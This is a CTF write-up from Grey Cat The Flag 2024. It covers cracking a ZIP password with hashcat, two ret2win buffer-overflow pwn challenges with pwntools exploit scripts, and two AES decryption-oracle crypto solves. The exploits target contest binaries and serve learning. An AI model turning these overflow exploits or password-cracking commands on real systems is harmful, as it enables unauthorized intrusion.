on
Grey Cat The Flag 2024
Grey Cat The Flag 2024 was a 24-hour long CTF from 20th April 12pm SGT to 21st April 12pm SGT. It featured many challenges across categories such as rev, pwn, crypto, misc, blockchain and web. My team G04T3DP30PL3 placed 45th out of 407 teams globally, and 23rd out of 156 teams locally. We had a total of 14 solves, of which 10 were misc, 1 was crypto, 2 were web and 1 was pwn.
I helped to solve 1 misc challenge, 1 pwn challenge and 1 crypto challenge, and (unfortunately) solved another crypto one right as the CTF ended. This writeup details my approach to these 4 challenges, along with another pwn challenge I didn’t solve during the CTF.
Misc
Cashhat The Ripper

In this challenge we are given a password-protected ZIP file which can be downloaded here. As the name suggests, we likely need to use hashcat and John The Ripper to bruteforce its weak password.
First we use John to make a hash of the file using zip2john chall.zip > chall.hash. We then remove the filenames from the start and end of the hash, leaving us with the hash:

Then, using hashcat, we perform a dictionary attack, specifying that it is a PKZIP file. We perform this attack using the rockyou dictionary: hashcat -m 17200 -a 0 chall.hash /usr/share/wordlists/rockyou.txt.
hashcat cracks the password quite quickly, and tells us that the password is 123mango.

Using this to unlock the ZIP file, we obtain the flag: flag{W34k_P4ssw0rds_St4Nd_n0_Ch4nc3}
Pwn
Baby Goods

We are given files containing a binary file and a C file. On running checksec babygoods we can see the protections:

Note that there is no canary and no PIE, therefore all addresses of code are static. There is a global variable, char name[0x20]. Let’s go through the functions sequentially:
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
printf("Enter your name: ");
fgets(username,0x20,stdin);
username[strcspn(username, "\r\n")] = '\0';
menu(username);
return 0;
}
The main function essentially copies the username of the user and displays a menu using it.
int menu(char name[0x20]) {
char input[4];
do {
printf("\nHello %s!\n", name);
printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
printf("1: Build new pram\n");
printf("2: Exit\n");
printf("Input: ");
fgets(input, 4, stdin);
input[strcspn(input, "\r\n")] = '\0';
switch (atoi(input))
{
case 1:
buildpram();
break;
default:
printf("\nInvalid input!\n==========\n");
menu(name);
}
} while (atoi(input) != 2);
exitshop();
}
The menu function allows us to choose from either building a pram or exiting the program.
int buildpram() {
char buf[0x10];
char size[4];
int num;
printf("\nChoose the size of the pram (1-5): ");
fgets(size,4,stdin);
size[strcspn(size, "\r\n")] = '\0';
num = atoi(size);
if (1 > num || 5 < num) {
printf("\nInvalid size!\n");
return 0;
}
printf("\nYour pram has been created! Give it a name: ");
//buffer overflow! user can pop shell directly from here
gets(buf);
printf("\nNew pram %s of size %s has been created!\n", buf, size);
return 0;
}
In buildpram, the user is prompted to choose a pram size, which is copied into char size[4]. The vulnerability is when a name is given to the pram. Using the gets function allows us to overflow the buffer and write into memory outside of buf.
There is another interesting function:
int sub_15210123() {
execve("/bin/sh", 0, 0);
}
We can see that this function gives us shell access from the program, so we need to enter this function to read the flag.
This is a typical stack overflow ret2win challenge, and we can simply overflow the buffer and overwrite RIP to the address of sub_15210123 to get the shell.
Let’s find the address of sub_15210123 first:
elijah@soyabean: $ r2 -d -A babygoods
[truncated]
[0x7f5b74961290]> afl
0x004010c0 1 11 sym.imp.puts
0x004010d0 1 11 sym.imp.setbuf
0x004010e0 1 11 sym.imp.printf
0x004010f0 1 11 sym.imp.strcspn
0x00401100 1 11 sym.imp.fgets
0x00401110 1 11 sym.imp.execve
0x00401120 1 11 sym.imp.gets
0x00401130 1 11 sym.imp.atoi
0x00401140 1 11 sym.imp.exit
0x00401150 1 37 entry0
0x00401190 4 31 sym.deregister_tm_clones
0x004011c0 4 49 sym.register_tm_clones
0x00401200 3 32 sym.__do_global_dtors_aux
0x00401230 1 6 sym.frame_dummy
0x0040125a 5 207 sym.buildpram
0x0040134a 6 246 sym.menu
0x004014e0 1 13 sym._fini
0x00401236 1 36 sym.sub_15210123
0x00401180 1 5 sym._dl_relocate_static_pie
0x00401443 1 156 main
0x00401329 1 33 sym.exitshop
0x00401000 3 27 sym._init
So now we know that sub_15210123 is located at 0x00401236.
I then used De Brujin sequences to find the offset of RIP from the address of our input.
First we generate the sequence using Python,
elijah@soyabean: $ python3
[truncated]
> from pwn import *
cyclic(100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
>
Then we use the following script to run the program and allow us to attach pwndbg to it:
from pwn import *
p = process('./babygoods')
pause()
p.interactive()
When the program is started we attach with gdb by using gdb -p <port number>. Then we enter our payload into the program as follows:

Correspondingly, in pwndbg we receive a segmentation fault as expected and find the portion of the De Brujin sequence RIP was overwritten to:

Note that it was to obtain the portion of the sequence with b'kaaalaaa'. So now we use pwn in Python to find the offset of RIP:
>>> cyclic_find(b'kaaalaaa')
[!] cyclic_find() expected a 4-byte subsequence, you gave b'kaaalaaa'
Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes.
Truncating the data at 4 bytes. Specify cyclic_find(..., n=8) to override this.
40
Now that we know the offset of RIP is 40 and sub_15210123 is located at 0x00401236, we can craft an exploit script:
from pwn import *
# establish remote connection
conn = remote('challs.nusgreyhats.org',32345)
conn.recvuntil(b'name: ')
conn.sendline(b'hi')
conn.recvuntil(b'Input: ')
conn.sendline(b'1')
conn.recvuntil(b'(1-5): ')
conn.sendline(b'1')
# send payload
payload = 40 * b'a' + p64(0x00401236)
conn.sendline(payload)
# Interact with the shell
conn.interactive()
Now we execute the script to obtain the flag.

Motorola

I didn’t manage to solve this problem during the CTF, but it turned out to be another simple ret2win overflow challenge. The binary file has the same architecture and protections as Baby Goods: Partial RELRO, NX enabled, no canary and no PIE. Given below is the source code:
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char* pin;
// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
int i = 0;
while (1) {
if (!msg[i])
return;
putchar(msg[i]);
usleep(5000);
i += 1;
}
}
void view_message() {
int fd = open("./flag.txt", O_RDONLY);
char* flag = calloc(0x50, sizeof(char));
read(fd , flag, 0x50);
close(fd);
slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
printf("\n%s\n", flag);
exit(0);
}
void retrieve_pin(){
FILE* f = fopen("./pin", "r");
pin = malloc(0x40);
memset(pin, 0, 0x40);
fread(pin, 0x30, 0x1, f);
fclose(f);
}
void login() {
char attempt[0x30];
int count = 5;
for (int i = 0; i < 5; i++) {
memset(attempt, 0, 0x30);
printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
printf("PIN: ");
scanf("%s", attempt);
if (!strcmp(attempt, pin)) {
view_message();
}
}
slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}
void banner() {
slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");
puts(" .--.");
puts(" | | ");
puts(" | | ");
puts(" | | ");
puts(" | | ");
puts(" _.-----------._ | | ");
puts(" .-' __ `-. | ");
puts(" .' .' `. `.| ");
puts(" ; : : ; ");
puts(" | `.__.' | ");
puts(" | ___ | ");
puts(" | (_M_) M O T O R A L A | ");
puts(" | .---------------------. | ");
puts(" | | | | ");
puts(" | | \e[0;91mYOU HAVE\e[0m | | ");
puts(" | | \e[0;91m1 UNREAD MESSAGE.\e[0m | | ");
puts(" | | | | ");
puts(" | | \e[0;91mUNLOCK TO VIEW.\e[0m | | ");
puts(" | | | | ");
puts(" | `---------------------' | ");
puts(" | | ");
puts(" | __ | ");
puts(" | ________ .-~~__~~-. | ");
puts(" | |___C___/ / .' `. \\ | ");
puts(" | ______ ; : OK : ; | ");
puts(" | |__A___| | _`.__.'_ | | ");
puts(" | _______ ; \\< | | >/ ; | ");
puts(" | [_=] \n");
slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
retrieve_pin();
printf("\e[2J\e[H");
}
int main() {
init();
banner();
login();
}
Here, we identify a vulnerability in the login function since our input length is unrestricted in the scanf("%s", attempt) function.
Using a similar procedure as that in baby goods, I find that the offset is 72, and the address of view_message is at 0x0040138e. I tried the following exploit code:
from pwn import *
# io = remote('challs.nusgreyhats.org',30211)
io = process('./chall')
view_message = p64(0x0040138e)
for i in range(4):
info(io.recvuntil(b'PIN: '))
io.sendline(b'a')
info(io.recvuntil(b'PIN: '))
pause()
payload = 72 * b'a' + view_message
io.sendline(payload)
io.interactive()
data = io.recvuntil(b'}')
print(data)
io.close()
However, this repeatedly got segmentation faults and I couldn’t figure out why. After the CTF, I realised that it was due to the MOVAPS instruction checking that the stack was 16 byte aligned. This alignment had been compromised by my ROP Chain.
There are 2 possible solutions to this. The first is by adding an additional ret gadget before the address of view_message. We can find the address of such a gadget by doing ROPgadget --binary ./chall --only ret:

So we just add 0x0040101a before 0x0040138e in the ROP chain.
Alternatively, we can also return to further inside the view_message function, after the PUSH instruction at 0x00401392. This prevents the stack from becoming misaligned. For example we could return to 0x00401393.

The corrected exploit code is as follows:
from pwn import *
# io = remote('challs.nusgreyhats.org',30211)
io = process('./chall')
view_message = p64(0x0040138e)
view_message2 = p64(0x00401393)
ret = p64(0x000000000040101a)
for i in range(4):
info(io.recvuntil(b'PIN: '))
io.sendline(b'a')
info(io.recvuntil(b'PIN: '))
pause()
payload = 72 * b'a' + ret + view_message
# OR payload = 72 * b'a' + view_message2
io.sendline(payload)
io.interactive()
data = io.recvuntil(b'}')
print(data)
io.close()
Which gets us the flag:

Crypto
Filtered Ciphertext

We are given the following Python code:
from Crypto.Cipher import AES
import os
with open("flag.txt", "r") as f:
flag = f.read()
BLOCK_SIZE = 16
iv = os.urandom(BLOCK_SIZE)
xor = lambda x, y: bytes(a^b for a,b in zip(x,y))
key = os.urandom(16)
def encrypt(pt):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = cipher.encrypt(xor(block, tmp))
ret += res
tmp = xor(block, res)
return ret
def decrypt(ct):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
for block in blocks:
if block in secret_enc:
blocks.remove(block)
tmp = iv
ret = b""
for block in blocks:
res = xor(cipher.decrypt(block), tmp)
ret += res
tmp = xor(block, res)
return ret
secret = os.urandom(80)
secret_enc = encrypt(secret)
print(f"Encrypted secret: {secret_enc.hex()}")
print("Enter messages to decrypt (in hex): ")
while True:
res = input("> ")
try:
enc = bytes.fromhex(res)
if (enc == secret_enc):
print("Nice try.")
continue
dec = decrypt(enc)
if (dec == secret):
print(f"Wow! Here's the flag: {flag}")
break
else:
print(dec.hex())
except Exception as e:
print(e)
continue
Let’s break the functions down. First we look at the encrypt function:
def encrypt(pt):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = cipher.encrypt(xor(block, tmp))
ret += res
tmp = xor(block, res)
return ret
It basically splits the plaintext into blocks of 16 bytes, then iterates through each block. Each block is first xor‘d with tmp, then the ciphertext is added to ret. tmp is then updated to be xor(block, res), which is the XOR of the plaintext block and ciphertext block. We then return ret at the end of the function. Note that the tmp for every block is different. Now let’s look at the decrypt function:
def decrypt(ct):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
for block in blocks:
if block in secret_enc:
blocks.remove(block)
tmp = iv
ret = b""
for block in blocks:
res = xor(cipher.decrypt(block), tmp)
ret += res
tmp = xor(block, res)
return ret
The decryption algorithm takes in a ciphertext and splits it into blocks. It then iterates through each block, and if it is present in the encrypted secret, the block is removed from the list. Once these blocks have been removed, we then iterate through the blocks and decrypt them. Each block is first decrypted using AES, then xor‘d with tmp to get the plaintext block. Then we append the plaintext block to ret, and update tmp to be xor(block, res).
The vulnerability in the code is the removal procedure. Namely, we are removing elements from the list as we are iterating through it. This has the following result on a list of size 10:
lst = [1,2,3,4,5,1,2,3,4,5]
for i in lst:
if i <= 16:
lst.remove(i)
print(lst)
# [1,2,3,4,5]
Essentially our list is split exactly into half.
Since our ciphertext is 80 bytes (5 blocks) long, we can use this to ‘trick’ the program into decrypting the ciphertext for us. Once we are sent the ciphertext in hex by the server, we can just send the program back the ciphertext repeated once to obtain the plaintext. This gets us the flag:

Filtered Plaintext
This was the challenge which I only solved right as the CTF ended… :(

We are again given a Python script:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
import os
with open("flag.txt", "r") as f:
flag = f.read()
BLOCK_SIZE = 16
iv = os.urandom(BLOCK_SIZE)
xor = lambda x, y: bytes(a^b for a,b in zip(x,y))
key = os.urandom(16)
def encrypt(pt):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = cipher.encrypt(xor(block, tmp))
ret += res
tmp = xor(block, res)
return ret
def decrypt(ct):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = xor(cipher.decrypt(block), tmp)
if (res not in secret):
ret += res
tmp = xor(block, res)
return ret
secret = os.urandom(80)
secret_enc = encrypt(secret)
print(f"Encrypted secret: {secret_enc.hex()}")
secret_key = md5(secret).digest()
secret_iv = os.urandom(BLOCK_SIZE)
cipher = AES.new(key = secret_key, iv = secret_iv, mode = AES.MODE_CBC)
flag_enc = cipher.encrypt(pad(flag.encode(), BLOCK_SIZE))
print(f"iv: {secret_iv.hex()}")
print(f"ct: {flag_enc.hex()}")
print("Enter messages to decrypt (in hex): ")
while True:
res = input("> ")
try:
enc = bytes.fromhex(res)
dec = decrypt(enc)
print(dec.hex())
except Exception as e:
print(e)
continue
Basically what the program is doing is first generating a 16 byte key, iv and secret_iv, an 80 byte secret, then calling encrypt on secret to encrypt using their algorithm (which uses key and iv). The ciphertext produced is secret_enc. Using secret_key = md5(secret).digest() as our key and secret_iv as our IV, we then perform AES CBC mode encryption (using secret_key and secret_iv) to encrypt the padded flag. The server gives us the values of secret_enc, secret_iv and flag_enc. Our goal is to basically decrypt the AES CBC mode encryption to find the plaintext flag. Since we already know secret_iv, to perform the decryption we need to find secret_key, which requires finding secret. This requires us to find a way to decrypt secret_enc which was encrypted using their algorithm. We are given a decryption oracle to aid us.
Now let’s take a look at the encrypt function:
def encrypt(pt):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [pt[i:i+BLOCK_SIZE] for i in range(0, len(pt), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = cipher.encrypt(xor(block, tmp))
ret += res
tmp = xor(block, res)
return ret
It is essentially the same as the previous challenge. Now on to the decrypt function:
def decrypt(ct):
cipher = AES.new(key=key, mode=AES.MODE_ECB)
blocks = [ct[i:i+BLOCK_SIZE] for i in range(0, len(ct), BLOCK_SIZE)]
tmp = iv
ret = b""
for block in blocks:
res = xor(cipher.decrypt(block), tmp)
if (res not in secret):
ret += res
tmp = xor(block, res)
return ret
Notice that even if we input a block which, when decrypted is present in secret, tmp will still be updated using the block and its decrypted value.
Now we can try thinking of possible inputs to the decryption oracle and their output values. Here I will use the following notation:
- \(p_x\) denotes the x-th block of plaintext (starting from 1)
- \(c_x\) denotes the x-th block of ciphertext (starting from 1)
- \(\oplus\) denotes the XOR operation
- \(E()\) denotes the AES ECB encryption using
key - \(D()\) denotes the AES ECB decryption using
key - \(IV\) refers to the iv used for encryption of
secret. - \(0..0\) denotes a block of zeroes
- \(+\) denotes a concatenation of byte blocks
Observe the following:
\[Input: 0..0 \;\;\; Output: a = D(0..0)\oplus IV\\ Input: c_1+0..0 \;\;\; Output:b=D(0..0)\oplus c_1\oplus p_1 = D(0..0)\oplus c_1\oplus D(c_1)\oplus IV\\ Input: c_1+c_2+0..0 \;\;\; Output:c=D(0..0)\oplus c_2\oplus p_2 = D(0..0)\oplus c_2\oplus D(c_2)\oplus c_1\oplus p_1\]If we then did \(a \oplus b\) we would get \(c_1 \oplus D(c_1)\) , and if we did \(b \oplus c\) we would get \(c_2 \oplus D(c_2)\). In general this holds true.
Further note that
\[Input:c_2\;\;\; Output:D(c_2)\oplus IV\]From this we have
\[b\oplus c\oplus (D(c_2)\oplus IV) = (c_2 \oplus D(c_2))\oplus (D(c_2)\oplus IV) = c_2\oplus IV\]Hence we have found a way to obtain the value of \(IV\) using only the ciphertext and the decryption oracle. With IV, we can solve for the plaintext as follows:
\[a\oplus b=c_1\oplus D(c_1)\\ b\oplus c=c_2\oplus D(c_2)\\ c\oplus d=c_3\oplus D(c_3)\\ d\oplus e=c_4\oplus D(c_4)\\ e\oplus f=c_5\oplus D(c_5)\\ p_1=D(c_1)\oplus IV = (((a \oplus b) \oplus c_1) \oplus IV)\\ p_2 = D(c_2) \oplus (c_1 \oplus p_1) = ((b \oplus c) \oplus c_2)\oplus (c_1 \oplus p_1)\\ p_3 = D(c_3) \oplus (c_2 \oplus p_2) = ((c \oplus d) \oplus c_3)\oplus (c_2 \oplus p_2)\\ p_4 = D(c_4) \oplus (c_3 \oplus p_3) = ((d \oplus e) \oplus c_4)\oplus (c_3 \oplus p_3)\\ p_5 = D(c_5) \oplus (c_4 \oplus p_4) = ((e \oplus f) \oplus c_5)\oplus (c_4 \oplus p_4)\\\]The coded solve script is given below:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from hashlib import md5
import os
BLOCK_SIZE = 16
xor = lambda x, y: bytes(a^b for a,b in zip(x,y))
# convert the given ciphertexts back to bytes
c1 = bytes.fromhex("4646aeb35bdfbfb344c6dbce72cb1713")
c2 = bytes.fromhex("12be08deacd340331f5faa69a456b581")
c3 = bytes.fromhex("94a32724286bed823b547ad7cca880a0")
c4 = bytes.fromhex("2213fe433f850d2ab0b5d393fc58a062")
c5 = bytes.fromhex("1d238069e52d41888fc6f0581369ccbc")
# convert the a,b,c,d,e,f values back to bytes
# the hex values here are obtained from the decryption oracle
a = bytes.fromhex("c4cb23fe7540127fb1cf33a5c1d52320")
b = bytes.fromhex("08abae6dc45846bb4fe2545f66f03a0d")
c = bytes.fromhex("4ca9f62f5561838956a698c1290b36c1")
d = bytes.fromhex("8f4002639e5461832f7d17f896d3d45c")
e = bytes.fromhex("57a45d20ca19a61d7941c9a6f2d9c3c7")
f = bytes.fromhex("6994732ad73d2616202d8e1cf4d7b660")
# compute all cx_xor_dec(cx) values
c1_xor_dec_c1 = xor(a, b)
c2_xor_dec_c2 = xor(b, c)
c3_xor_dec_c3 = xor(c, d)
c4_xor_dec_c4 = xor(d, e)
c5_xor_dec_c5 = xor(e, f)
# compute IV
dec_c2_xor_iv = bytes.fromhex("876497a51a326dd524262191b5d626d7")
iv_xor_c2 = xor(c2_xor_dec_c2, dec_c2_xor_iv)
iv = xor(c2, iv_xor_c2)
# solve for plaintexts
p1 = xor(xor(c1_xor_dec_c1, c1), iv)
p2 = xor(xor(xor(c2_xor_dec_c2, c2), p1), c1)
p3 = xor(xor(xor(c3_xor_dec_c3, c3), p2), c2)
p4 = xor(xor(xor(c4_xor_dec_c4, c4), p3), c3)
p5 = xor(xor(xor(c5_xor_dec_c5, c5), p4), c4)
# Concatenate the plaintext blocks of secret
secret = p1 + p2 + p3 + p4 + p5
# Compute secret_key by md5 hashing
secret_key = md5(secret).digest()
secret_iv = bytes.fromhex("96c29b14640d143bf3dabea50ccca52c")
ct = bytes.fromhex("c19bc9ccd567766d745639420a202b2ea8723de385babf4999a1f469a931a9dfffc34267d10675763b60c7b9d52dfc24")
# Decrypt using AES CBC mode
cipher = AES.new(key = secret_key, iv = secret_iv, mode = AES.MODE_CBC)
flag = cipher.decrypt(ct)
print(unpad(flag, BLOCK_SIZE))
# b'grey{pcbc_d3crypt10n_0r4cl3_3p1c_f41l}\n'
Final Thoughts
This CTF was demoralising as I did not solve as many rev, pwn and crypto challenges as I had hoped to, and most of the challenges involved concepts I wasn’t familiar with. Nonetheless, I did learn from this CTF and I look forward to learning more and hopefully performing better in these categories in the future!